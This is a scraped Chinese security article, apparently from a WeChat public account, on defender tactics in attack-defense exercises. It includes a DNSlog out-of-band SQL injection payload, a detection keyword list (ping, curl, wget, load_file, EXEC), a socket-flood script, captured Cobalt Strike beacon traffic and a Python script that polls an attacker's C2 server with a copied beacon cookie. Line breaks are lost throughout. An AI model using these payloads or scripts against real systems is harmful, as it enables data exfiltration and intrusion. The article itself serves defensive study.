ping xx.dnslog.comSQL注入 ：
load_file(CONCAT('\',(select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),'.xx.dnslog.com'))ping、curl、wget，SQL注入类：load_file(、EXEC(、EXECUTE
select version(); -> x.x.xxselect user(); -> xxxx@localhost
.之间的字符个数不能超过63个。域名总长度不能超过254个字符。import socketn = 0def conne(host, port):global nclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM)client.connect((host, port))n += 1print("Number", n)while True:try:conne('127.0.0.1', 333)except :pass
GET /p3xB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)Host: 192.168.186.133:333Connection: Keep-AliveCache-Control: no-cache
/activity，2. 相比上面请求头，多了一个Cookie，并且Cookie值格式固定GET /activity HTTP/1.1Accept: */*Cookie: cccsP3ZpLVdNmMEudr//cTM7BpJ4mELRTC0kUZ2IQllqwwNNSSCdAld/yUEyf7QqSq/6XwgPKMXjCP3Q4sbod6LfiVbMAwlM11wx2thA9taC4uoDNfkM+1/iAZ3hqgX/DYQYUlduFVqqNGjv74BHawXPaa/Iuay/4SLd8i072SU=User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727)Host: 192.168.186.133:333Connection: Keep-AliveCache-Control: no-cache
HTTP/1.1 200 OKDate: Thu, 1 Oct 2020 14:56:13 GMTContent-Type: application/octet-streamContent-Length: 48_u........5.............*AAAAAk0...['hC..R...^
HTTP/1.1 200 OKDate: Thu, 1 Oct 2020 15:03:13 GMTContent-Type: application/octet-streamContent-Length: 64_u.....%...N....... %COMSPEC%.../C whoami..AAA,.....]{A$.8....
/submit.php?id=19580，id值不固定。2. 命令执行结果为明文且位置固定。POST /submit.php?id=19580 HTTP/1.1Accept: */*Content-Type: application/octet-streamUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727)Host: 192.168.186.133:333Content-Length: 52Connection: Keep-AliveCache-Control: no-cache...0............john-pcjohn.D.e.U..r..C.$[....UV
def heartbeat():url = "http://192.168.186.133:333/activity"headers = {'Cookie': 'IgyzGuIX0Jrb5Ht45ZLYKyXWBnxfkNI3m6BOvExECdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGSHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=','Host': '192.168.186.133:333','Accept': '*/*','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'}resp = requests.get(url=url,headers=headers)text = resp.content.hex()return text
beacon> shell ipconfig[] Tasked beacon to run: ipconfig[] host called home, sent: 114 bytesbeacon> ls[] Tasked beacon to list files in .[] host called home, sent: 19 bytesbeacon> shell whoami[] Tasked beacon to run: whoami[] host called home, sent: 37 bytes
IP或域名、port、cookie：# coding: utf-8import reimport timeimport requestsdef heartbeat():url = "http://192.168.186.133:333/activity"headers = {'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=','Host': '192.168.186.133:333','Accept': '*/*','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'}resp = requests.get(url=url,headers=headers)text = resp.content.hex()return textx = Truewhile x:text = heartbeat()lengs = len(text)# print(lengs, " ", text)if '2f4320' in text and '000041' in text:print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))commeds = re.findall(r'2f4320(.*?)000041', text)for comm in commeds:commed = bytes.fromhex(comm).decode('utf-8')print(commed)time.sleep(5)
做为防守方，可以换个思路。想办法阻止攻击者成功连接webshell才是目的，所以可以修改webshell连接密码，或者破坏wewbshell功能，让攻击者迷茫去吧。
-
某一应用故意留个弱口令，但是登陆需要绑定微信或者手机号，从而根据微信或者手机号溯源到攻击者身份。验证微信或者手机号时，需要注意不能让攻击者绑定任意微信或者手机号。还有就是绑定的手机号不能是接码平台的虚拟手机号。（具体代码逻辑，仁者见仁，智者见智了）
-
蜜罐设置一个exp向量的页面，主要使用针对Google、火狐等浏览器的已公开漏洞。当攻击者使用了存在漏洞的浏览器访问到网页时，不知不觉就上线了。当然，这种成本比较高。
- End -
精彩推荐
ZeroLogon的利用以及分析
RTL-SDR接收NOAA气象卫星
ShadowMove：隐蔽的横向移动策略
本文始发于微信公众号（安全客）：攻防演练中防守方的骚姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论